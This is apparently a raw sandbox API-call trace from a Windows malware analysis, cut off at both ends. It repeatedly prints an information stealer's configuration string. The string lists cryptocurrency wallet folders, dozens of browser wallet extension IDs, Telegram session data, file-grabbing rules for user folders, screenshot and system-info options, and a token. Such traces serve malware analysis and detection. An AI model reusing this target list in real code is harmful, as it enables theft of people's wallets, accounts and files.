Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4289 [0259.744] LocalAlloc (uFlags=0x40, uBytes=0x2182) returned 0x6bda40 [0259.744] StrStrW (lpFirst="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.744] lstrlenW (lpString="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4289 [0259.744] LocalAlloc (uFlags=0x40, uBytes=0x2202) returned 0x6ef5a0 [0259.745] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.745] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.745] StrStrW (lpFirst="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.745] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.746] LocalFree (hMem=0x6b9720) returned 0x0 [0259.746] LocalFree (hMem=0x6bb8b0) returned 0x0 [0259.747] LocalFree (hMem=0x6bda40) returned 0x0 [0259.747] StrStrW (lpFirst="wlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 